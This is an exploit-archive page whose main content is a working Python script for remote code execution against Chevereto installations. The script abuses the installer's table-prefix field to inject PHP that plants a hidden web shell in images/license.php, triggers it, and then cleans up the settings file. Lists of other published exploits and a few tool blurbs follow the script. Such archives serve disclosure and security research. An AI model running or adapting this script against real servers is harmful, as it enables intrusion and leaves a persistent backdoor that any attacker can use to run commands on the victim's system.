Menu

Search for hundreds of thousands of exploits

"Chevereto 3.13.4 Core - Remote Code Execution"

Author

Exploit author

"Jinny Ramsmark"

Platform

Exploit platform

php

Release date

Exploit published date

2020-01-13

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# Exploit Title:  Chevereto 3.13.4 Core - Remote Code Execution  
# Date: 2020-01-11
# Exploit Author: Jinny Ramsmark 
# Vendor Homepage:  https://chevereto.com/
# Software Link: https://github.com/Chevereto/Chevereto-Free/releases
# Version:  1.0.0 Free - 1.1.4 Free, <= 3.13.4 Core
# Tested on: Ubuntu 19.10, PHP 7.3, Apache/2.4.41
# CVE : N/A

from urllib import request, parse
from time import sleep

#Python3
#Needs to have a valid database server, database and user to exploit
#1.0.0 Free version confirmed vulnerable
#1.1.4 Free version confirmed vulnerable
#3.13.4 Core version confirmed vulnerable

def main():

    target = 'http://cheveretoinstallation/'
    cookie = 'PHPSESSID=89efba681a8bb81d32cd10d3170baf6e'
    db_host = 'ip_to_valid_mysql'
    db_name = 'valid_db'
    db_user = 'valid_user'
    db_pass = 'valid_pass'
    db_table_prefix = 'chv_'

    inject = "';if(strpos(file_get_contents('images/license.php'), '$_POST[\"ccc\"]') === false){file_put_contents('images/license.php','if(isset($_POST[\"ccc\"])){;system($_POST[\"ccc\"]);}');}//"

    #Clean data for when we want to clean up the settings file
    params = {'db_host': db_host, 'db_name': db_name, 'db_user': db_user, 'db_pass': db_pass, 'db_table_prefix': db_table_prefix}
    data = parse.urlencode(params).encode()

    #Settings data with injected code
    params['db_table_prefix'] += inject
    dataInject = parse.urlencode(params).encode()

    #Do inject
    doPostRequest(target + 'install', dataInject, cookie)
    sleep(1)

    #Request index page to run the injected code
    doRequest(target)

    sleep(1)
    #Do a clean request to clean up the settings.php file
    doPostRequest(target + 'install', data, cookie)

def doPostRequest(target, data, cookie):
    req = request.Request(target, data=data)
    req.add_header('Cookie', cookie)
    resp = request.urlopen(req)

def doRequest(target):
    req = request.Request(target)
    resp = request.urlopen(req)

if __name__ == '__main__':
    main()
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-01-13 "Chevereto 3.13.4 Core - Remote Code Execution" webapps php "Jinny Ramsmark"
2019-12-06 "Verot 2.0.3 - Remote Code Execution" webapps php "Jinny Ramsmark"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.